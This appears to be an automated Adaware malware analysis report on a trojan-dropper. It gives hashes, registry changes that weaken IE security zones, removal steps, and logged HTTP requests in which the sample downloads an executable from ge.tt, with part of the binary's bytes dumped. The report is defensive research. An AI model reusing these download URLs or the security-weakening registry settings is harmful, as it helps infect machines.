Trojan.Generic.12510469_e47ea82610 – Adaware

Trojan-Dropper.MSIL.Agent.auia (Kaspersky), Trojan.Generic.12510469 (AdAware), Backdoor.Win32.PcClient.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan-Dropper, Trojan, Backdoor

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: e47ea8261099c8ee573d946443857d5a

SHA1: 702ec12f7b32710158f075c2b83e15120af2a389

SHA256: 87e1703feabf2e1396dc8d46902ce8988375c7615f0ca5626d73bc37cba8d38b

SSDeep: 24576:BbtRvf3U1XjwG7vOp xu0TZib o Ev3z9:pLvf3U1XjwmOp xxt 3z9

Size: 832512 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6

Company: no certificate found

Created at: 2015-01-05 19:49:31

Analyzed on: WindowsXPESX SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

59t6pc.exe:516

The Trojan injects its code into the following process(es):

%original file name%.exe:1960
rundll32.exe:1908

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexRasPbFileShimCacheMutex

File activity

The process %original file name%.exe:1960 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\59t6pc.exe (12348 bytes)

The process 59t6pc.exe:516 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\59t6pc.png (25 bytes)

Registry activity

The process %original file name%.exe:1960 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D7 04 3F 2E FE 02 BE AD 64 C6 01 45 F0 62 1D 7B"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1]
"Temp/59t6pc.exe" = "59t6pc"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process 59t6pc.exe:516 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "38 F6 D8 0A 8A 8F EA 05 27 ED F8 25 A4 E7 F6 CD"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"shimgvw.dll" = "Windows Picture and Fax Viewer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The process rundll32.exe:1908 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "45 97 29 AC 15 FB EC 7B 4D 17 68 4F 71 6A FD 51"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

Dropped PE files

MD5	File path
6f4d1438086f26c2ceed46d54cbed5ae	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\59t6pc.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
59t6pc.exe:516
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\59t6pc.exe (12348 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\59t6pc.png (25 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: NVIDIA Corporation
Product Name: Service
Product Version: 1.4.3.0
Legal Copyright: Microsoft Coprporation (c) 2014
Legal Trademarks: Image
Original Filename: ScreenViewer.exe
Internal Name: ScreenViewer.exe
File Version: 1.4.3.0
File Description: Screenshotter
Comments: Image Viewer
Language: Language Neutral

Company Name: NVIDIA CorporationProduct Name: ServiceProduct Version: 1.4.3.0Legal Copyright: Microsoft Coprporation (c) 2014Legal Trademarks: ImageOriginal Filename: ScreenViewer.exeInternal Name: ScreenViewer.exeFile Version: 1.4.3.0File Description: ScreenshotterComments: Image ViewerLanguage: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	8192	691924	692224	5.454	f757594d8ad40120173c358097dc5365
.sdata	704512	319	512	2.46306	bc701e95eeecc372f9de607e04482765
.rsrc	712704	137920	138240	0.952197	189b3e4b3fa66f24a59e4db8b7402cc1
.reloc	851968	12	512	0.070639	ade4bab60785daa998bd2a26264475fc

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://ge.tt/api/1/files/85wK5182/0/blob?download	54.195.252.180
hxxp://open.ge.tt/1/files/85wK5182/0/blob?download
hxxp://ec2-54-228-6-8.eu-west-1.compute.amazonaws.com/streams/85wK5182/231231243513.exe?sig=-Ur3PHKNfynjS3fJIFyxH-1d28l6cXEqFxA&type=download
hxxp://w056556.blob4.ge.tt/streams/85wK5182/231231243513.exe?sig=-Ur3PHKNfynjS3fJIFyxH-1d28l6cXEqFxA&type=download	54.228.6.8
hxxp://w428894.open.ge.tt/1/files/85wK5182/0/blob?download	54.247.122.87

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /api/1/files/85wK5182/0/blob?download HTTP/1.1

Host: ge.tt

Connection: Keep-Alive

HTTP/1.1 307 Temporary Redirect

location: hXXp://w428894.open.ge.tt/1/files/85wK5182/0/blob?download

Connection: keep-alive

Transfer-Encoding: chunked

0..

GET /streams/85wK5182/231231243513.exe?sig=-Ur3PHKNfynjS3fJIFyxH-1d28l6cXEqFxA&type=download HTTP/1.1

Host: w056556.blob4.ge.tt

Connection: Keep-Alive

HTTP/1.1 200 OK

date: Sat, 17 Jan 2015 09:18:08 GMT

last-modified: Mon, 05 Jan 2015 17:37:38 GMT

etag: "3742e2634ee802968c7e307bc1563cab-1"

accept-ranges: bytes

content-type: application/x-msdownload

content-length: 457216

server: gbs

access-control-allow-origin: *

content-disposition: attachment

Connection: keep-alive

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......T................................. ........@.. .......................`............@.....................................K.... ..&....................@......6................................................ ............... ..H............text........ ...................... ..`.sdata..............................@....rsrc...&.... ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H.......H2..N~...............E...........................................(....*..(....*..0.............*.0.............*.0.............*.0.............*.0.............*.0.............*....*.......*.......*.......*.......*.......*.......*.......*.......*....(....*..0.............*....*....0.............*....*....0.............*.0.............*....*....0.............*.0.............*AL.................. ...............O....... ...........z.......R... ........0.............*.0.............*.0..........

<<< skipped >>>

GET /1/files/85wK5182/0/blob?download HTTP/1.1

Host: w428894.open.ge.tt

Connection: Keep-Alive

HTTP/1.1 307 Temporary Redirect

location: hXXp://w056556.blob4.ge.tt/streams/85wK5182/231231243513.exe?sig=-Ur3PHKNfynjS3fJIFyxH-1d28l6cXEqFxA&type=download

connection: keep-alive

transfer-encoding: chunked

0..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

rundll32.exe_1908:

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

GDI32.dll

USER32.dll

IMAGEHLP.dll

rundll32.pdb

.....eZXnnnnnnnnnnnn3

....eDXnnnnnnnnnnnn3

...eDXnnnnnnnnnnnn,

.eDXnnnnnnnnnnnn,

%Xnnnnnnnnnnnnnnn1

O3$dS7"%U9

.manifest

5.1.2600.5512 (xpsp.080413-2105)

RUNDLL.EXE

Windows

Operating System

5.1.2600.5512

YThere is not enough memory to run the file %s.

Please close other windows and try again.

9The file %s or one of its components could not be opened.

0The file %s or one of its components cannot run.

MThe file %s or one of its components requires a different version of Windows.

UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"

Error in %s

Missing entry:%s

Error loading %s